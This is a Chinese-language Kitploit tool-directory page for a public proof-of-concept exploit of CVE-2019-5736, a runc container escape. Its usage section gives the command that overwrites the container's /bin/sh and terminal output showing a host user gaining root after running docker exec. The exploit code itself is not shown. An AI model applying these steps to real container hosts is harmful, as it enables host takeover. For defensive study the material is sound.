Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-5736-PoC — CVE-2019-5736的概念验证漏洞利用,这是一个runc容器逃逸漏洞,通过覆盖主机上的runc二进制文件在主机上实现root代码执行。 | Kitploit
工具/GitHubGitHub/billith/cve-2019-5736-poc
权限提升漏洞分析漏洞利用渗透测试红队容器逃逸
GitHubbillith/cve-2019-5736-poc

CVE-2019-5736-PoC

CVE-2019-5736的概念验证漏洞利用,这是一个runc容器逃逸漏洞,通过覆盖主机上的runc二进制文件在主机上实现root代码执行。

查看仓库
66年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

用法

PoC 针对受害者执行例如 docker exec <container> sh 的场景创建。在运行漏洞利用之前,需要覆盖容器文件系统中的 sh 二进制文件:

root@kitploit:~
printf '#!/proc/self/exe' > /bin/sh

之后,当受害者执行 exec 命令时,主机文件系统中的 runc 二进制文件将被 exploit 中定义的代码覆盖。

示例

容器终端:

root@kitploit:~
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp  # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/# 

受害者终端:

root@kitploit:~
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$ 
下载工具